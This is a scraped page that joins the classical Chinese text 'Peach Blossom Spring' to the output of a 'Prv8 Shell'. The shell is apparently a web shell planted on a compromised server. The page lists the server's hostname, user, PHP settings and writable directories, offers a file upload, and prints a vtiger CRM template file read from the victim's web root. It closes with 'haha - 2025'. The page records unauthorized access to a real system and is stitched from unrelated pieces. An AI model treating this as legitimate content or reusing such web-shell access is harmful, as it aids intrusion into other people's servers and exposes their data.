晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/akaindir/www/crm/layouts/v7/modules/Settings/Webforms/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/akaindir/www/crm/layouts/v7/modules/Settings/Webforms/FieldsEditView.tpl
{*<!--
/*********************************************************************************
** The contents of this file are subject to the vtiger CRM Public License Version 1.0
* ("License"); You may not use this file except in compliance with the License
* The Original Code is:  vtiger CRM Open Source
* The Initial Developer of the Original Code is vtiger.
* Portions created by vtiger are Copyright (C) vtiger.
* All Rights Reserved.
*
********************************************************************************/
-->*}
{strip}
    <input type="hidden" name="selectedFieldsData" val=""/>
    <input type="hidden" name="mode" value="{$MODE}"/>
    <input type="hidden" name="targetModule" value="{$SOURCE_MODULE}"/>
    <div class="fieldBlockContainer-webform" style="margin-bottom: 0;">
        <div class="fieldBlockHeader">
            <h4>{**PVTPATCHER-D4B19000F16E5D4815A0B2B3BD552E6A-START-theme711**}
{** Don't remove the Start and Finish Markup! Modified: 2020-07-14 11:35:04 **}
{assign var=CURRENT_USER_MODEL value=Users_Record_Model::getCurrentUserModel()}{if $CURRENT_USER_MODEL->get('language') eq 'fa_ir' or  $CURRENT_USER_MODEL->get('language') eq 'fa_af'}{vtranslate('LBL_FIELD_INFORMATION', $MODULE)} {vtranslate($SOURCE_MODULE, $SOURCE_MODULE)}{else}{vtranslate($SOURCE_MODULE, $SOURCE_MODULE)} {vtranslate('LBL_FIELD_INFORMATION', $MODULE)}{/if}
{** REPLACED-D4B19000F16E5D4815A0B2B3BD552E6A// {vtranslate($SOURCE_MODULE, $SOURCE_MODULE)} {vtranslate('LBL_FIELD_INFORMATION', $MODULE)}**}
{**PVTPATCHER-D4B19000F16E5D4815A0B2B3BD552E6A-FINISH**}</h4>
        </div>
        <hr>
        <table class="table table-bordered" width="100%" name="targetModuleFields">
            <colgroup>
                <col style="width:5%;">
                <col style="width:5%;">
                <col style="width:25%;">
                <col style="width:40%;">
                <col style="width:25%;">
            </colgroup>
            <tr>
                <td colspan="5">
                    <div class="row">
                        <div class="col-sm-2 col-lg-2"><div class="textAlignCenter" style="margin-top:8px;"><b>{vtranslate('LBL_ADD_FIELDS', $MODULE)}</b></div></div>
                        <div class="col-sm-8 col-lg-8">
                            <select id="fieldsList" multiple="multiple" data-placeholder="{vtranslate('LBL_SELECT_FIELDS_OF_TARGET_MODULE', $MODULE)}" class="select2" style="width:100%">
                                {foreach key=BLOCK_LABEL item=BLOCK_FIELDS from=$ALL_FIELD_MODELS_LIST name="EditViewBlockLevelLoop"}
                                    {foreach key=FIELD_NAME item=FIELD_MODEL from=$BLOCK_FIELDS name=blockfields}
                                        {assign var="FIELD_INFO" value=Vtiger_Functions::jsonEncode($FIELD_MODEL->getFieldInfo())}
                                        <option value="{$FIELD_MODEL->get('name')}" data-field-info='{$FIELD_INFO}' data-mandatory="{($FIELD_MODEL->isMandatory(true) eq 1) ? "true":"false"}"
                                                {if (array_key_exists($FIELD_MODEL->get('name'), $SELECTED_FIELD_MODELS_LIST)) or ($FIELD_MODEL->isMandatory(true))}selected{/if}>
                                            {vtranslate($FIELD_MODEL->get('label'), $SOURCE_MODULE)}
                                            {if $FIELD_MODEL->isMandatory(true)}
                                            <span class="redColor">*</span>
                                        {/if}
                                        </option>
                                    {/foreach}
                                {/foreach}
                            </select>
                        </div>
                        <div class="col-sm-2 col-lg-2" style="margin-top: 2px">
                            <button type="button" id="saveFieldsOrder" class="btn btn-success" disabled="disabled">{vtranslate('LBL_SAVE_FIELDS_ORDER', $MODULE)}</button>
                        </div>
                    </div>
                </td>
            </tr>
            <tr name="fieldHeaders">
                <td class="textAlignCenter"><b>{vtranslate('LBL_MANDATORY', $MODULE)}</b></td>
                <td class="textAlignCenter"><b>{vtranslate('LBL_HIDDEN', $MODULE)}</b></td>
                <td><b>{vtranslate('LBL_FIELD_NAME', $MODULE)}</b></td>
                <td class="textAlignCenter"><b>{vtranslate('LBL_OVERRIDE_VALUE', $MODULE)}</b></td>
                <td><b>{vtranslate('LBL_WEBFORM_REFERENCE_FIELD', $MODULE)}</b></td>
            </tr>

            {foreach key=BLOCK_LABEL item=BLOCK_FIELDS from=$ALL_FIELD_MODELS_LIST name="EditViewBlockLevelLoop"}
                {foreach key=FIELD_NAME item=FIELD_MODEL from=$BLOCK_FIELDS name=blockfields}
                    {if $FIELD_MODEL->isMandatory(true) || array_key_exists($FIELD_NAME,$SELECTED_FIELD_MODELS_LIST)}
                        {if array_key_exists($FIELD_NAME,$SELECTED_FIELD_MODELS_LIST)}
                            {assign var=SELECETED_FIELD_MODEL value=$SELECTED_FIELD_MODELS_LIST.$FIELD_NAME}
                            {assign var=FIELD_MODEL value=$FIELD_MODEL->set('fieldvalue',$SELECETED_FIELD_MODEL->get('fieldvalue'))}
                        {/if}
                        <tr data-name="{$FIELD_MODEL->getFieldName()}" class="listViewEntries" data-type="{$FIELD_MODEL->getFieldDataType()}" data-mandatory-field={($FIELD_MODEL->isMandatory(true) eq 1) ? "true":"false"}>
                            <td class="textAlignCenter" style="vertical-align: inherit">
                                {if !empty($SELECETED_FIELD_MODEL)}
                                    <input type="hidden" value="{$SELECETED_FIELD_MODEL->get('sequence')}" class="sequenceNumber" name='selectedFieldsData[{$FIELD_NAME}][sequence]'/>
                                {else}
                                    <input type="hidden" value="" class="sequenceNumber" name='selectedFieldsData[{$FIELD_NAME}][sequence]'/>
                                {/if}
                                <input type="hidden" value="0" name='selectedFieldsData[{$FIELD_NAME}][required]'/>
                                <input type="checkbox" {if ($FIELD_MODEL->isMandatory(true) eq 1) or ($SELECETED_FIELD_MODEL->get('required') eq 1)}checked="checked"{/if} 
                                       {if $FIELD_MODEL->isMandatory(true) eq 1} onclick="return false;" onkeydown="return false;"{/if} 
                                       name='selectedFieldsData[{$FIELD_NAME}][required]' class="markRequired mandatoryField" value="1" style="margin-top: -3px;"/>
                            </td>
                            <td class="textAlignCenter verticalAlignMiddle" style="vertical-align: inherit">
                                <input type="hidden" value="0" name='selectedFieldsData[{$FIELD_NAME}][hidden]'/>
                                <input type="checkbox" {if (!empty($SELECETED_FIELD_MODEL)) and ($SELECETED_FIELD_MODEL->get('hidden') eq 1)} checked="checked"{/if}
                                       name="selectedFieldsData[{$FIELD_NAME}][hidden]" class="markRequired hiddenField" value="1"/>
                            </td>
                            <td class="fieldLabel" style="vertical-align: inherit" data-label="{vtranslate($FIELD_MODEL->get('label'), $SOURCE_MODULE)}{if $FIELD_MODEL->isMandatory(true)}*{/if}">
                                {vtranslate($FIELD_MODEL->get('label'), $SOURCE_MODULE)}{if $FIELD_MODEL->isMandatory(true)}<span class="redColor">*</span>{/if}
                            </td>
                            {assign var=DATATYPEMARGINLEFT value= array("date","currency","percentage","reference","multicurrency")}
                            {assign var=IS_PARENT_EXISTS value=strpos($MODULE,":")}
                            {if $IS_PARENT_EXISTS}
                                {assign var=SPLITTED_MODULE value=":"|explode:$MODULE}
                                {assign var=MODULE value="{$SPLITTED_MODULE[1]}"}
                            {/if}
                            <td class="fieldValue" data-name="{$FIELD_MODEL->getFieldName()}" {if in_array($FIELD_MODEL->getFieldDataType(),$DATATYPEMARGINLEFT)} {/if}>
                                {if $FIELD_MODEL->getFieldDataType() == 'boolean'}
                                    {assign var="FIELD_NAME" value=$FIELD_MODEL->getFieldName()}
                                    {assign var="FIELD_INFO" value=$FIELD_MODEL->getFieldInfo()}
                                    {assign var=PICKLIST_VALUES value=$FIELD_INFO.picklistvalues}
                                    <select class="select2 col-sm-6 inputElement" name="{$FIELD_NAME}" {if $FIELD_MODEL->isMandatory() eq true} data-rule-required="true" {/if} {if !empty($SPECIAL_VALIDATOR)}data-specific-rules='{ZEND_JSON::encode($FIELD_INFO["validator"])}'{/if} data-selected-value='{$FIELD_MODEL->get('fieldvalue')}'>
                                            {foreach item=PICKLIST_VALUE key=PICKLIST_NAME from=$PICKLIST_VALUES}
                                                    <option value="{Vtiger_Util_Helper::toSafeHTML($PICKLIST_NAME)}" {if (trim(decode_html($FIELD_MODEL->get('fieldvalue'))) eq trim($PICKLIST_NAME)) or ($FIELD_MODEL->get('fieldvalue') eq "1" and ($PICKLIST_NAME eq 'on')) or ($FIELD_MODEL->get('fieldvalue') eq "0" and ($PICKLIST_NAME eq 'off'))} selected {/if}>{$PICKLIST_VALUE}</option>
                                            {/foreach}
                                    </select>
                                {else if $FIELD_MODEL->getFieldDataType() != 'image'}
									{include file=vtemplate_path($FIELD_MODEL->getUITypeModel()->getTemplateName(), $SOURCE_MODULE) BLOCK_FIELDS=$BLOCK_FIELDS MODULE_NAME=$MODULE FIELD_NAME=$FIELD_MODEL->getFieldName() MODE = 'webform'}
                                {/if}
                            </td>
                            <td style="vertical-align: inherit">
                                {if Settings_Webforms_Record_Model::isCustomField($FIELD_MODEL->get('name'))}
                                    {vtranslate('LBL_LABEL', $QUALIFIED_MODULE)} : {vtranslate($FIELD_MODEL->get('label'), $SOURCE_MODULE)}
                                {else}
                                    {vtranslate({$FIELD_MODEL->get('name')}, $SOURCE_MODULE)}
                                {/if}
                                {if !$FIELD_MODEL->isMandatory(true)}
                                    <div class="pull-right actions">
                                        <span class="actionImages"><a class="removeTargetModuleField" href="javascript:void(0);"><i class="icon-remove-sign"></i></a></span>
                                    </div>
                                {/if}
                            </td>
                        </tr>
                    {/if}
                {/foreach}
            {/foreach}
            </tbody>
        </table>
    </div>
	{if Vtiger_Functions::isDocumentsRelated($SOURCE_MODULE)}
		<div class="fieldBlockContainer">
			<div class="fieldBlockHeader">
				<h4>{vtranslate('LBL_UPLOAD_DOCUMENTS', $QUALIFIED_MODULE)}</h4>
			</div>
			<hr>
			<div>
				<div>
					<button class="btn btn-default" id="addFileFieldBtn">
						<span class="fa fa-plus"></span>&nbsp;&nbsp;{vtranslate('LBL_ADD_FILE_FIELD', $QUALIFIED_MODULE)}
					</button>
				</div>
			</div>
			<div class="row" style="margin-top: 10px;">
				<div class="col-lg-7">
					<table class="table table-bordered" id='fileFieldsTable'>
						<tbody>
							<tr>
								<td><b>{vtranslate('LBL_FIELD_LABEL', $QUALIFIED_MODULE)}</b></td>
								<td class="textAlignCenter"><b>{vtranslate('LBL_MANDATORY', $QUALIFIED_MODULE)}</b></td>
								<td class="textAlignCenter"><b>{vtranslate('LBL_ACTIONS', $QUALIFIED_MODULE)}</b></td>
							</tr>
							{foreach from=$DOCUMENT_FILE_FIELDS key=FILE_INDEX item=DOCUMENT_FILE_FIELD}
								<tr>
									<td style="vertical-align: middle;">
										<input type="text" class="inputElement nameField" name="file_field[{$FILE_INDEX}][fieldlabel]" value="{$DOCUMENT_FILE_FIELD['fieldlabel']}" data-rule-required="true">
									</td>
									<td class="textAlignCenter" style="vertical-align: middle;">
										<input type="checkbox" name="file_field[{$FILE_INDEX}][required]" {if $DOCUMENT_FILE_FIELD['required']}checked='checked'{/if} value='1'>
									</td>
									<td class="textAlignCenter" style="vertical-align: middle;">
										<a class="removeFileField" style="color: black;"><i class="fa fa-trash icon-trash"></i></a>
									</td>
								</tr>
							{/foreach}
							<tr class="noFileField {if count($DOCUMENT_FILE_FIELDS) gt 0}hide{/if}">
								<td colspan="3" style="height: 100px; vertical-align: middle;">
									<center>{vtranslate('LBL_NO_FILE_FIELD', $QUALIFIED_MODULE)}</center>
								</td>
							</tr>
						</tbody>
					</table>
				</div>
				<div class="col-lg-5">
					<div class="vt-default-callout vt-info-callout" style="margin: 0;">
						<h4 class="vt-callout-header">
							<span class="fa fa-info-circle"></span>&nbsp; {vtranslate('LBL_INFO')}
						</h4>
						<div>
							{vtranslate('LBL_FILE_FIELD_INFO', $QUALIFIED_MODULE, vtranslate("SINGLE_$SOURCE_MODULE", $SOURCE_MODULE))}
						</div>
					</div>
				</div>
			</div>
			<input type="hidden" id='fileFieldNextIndex' value='{count($DOCUMENT_FILE_FIELDS) + 1}'>
			<input type="hidden" id="fileFieldsCount" value="{count($DOCUMENT_FILE_FIELDS)}">
		</div>
	{/if}
{/strip}

haha - 2025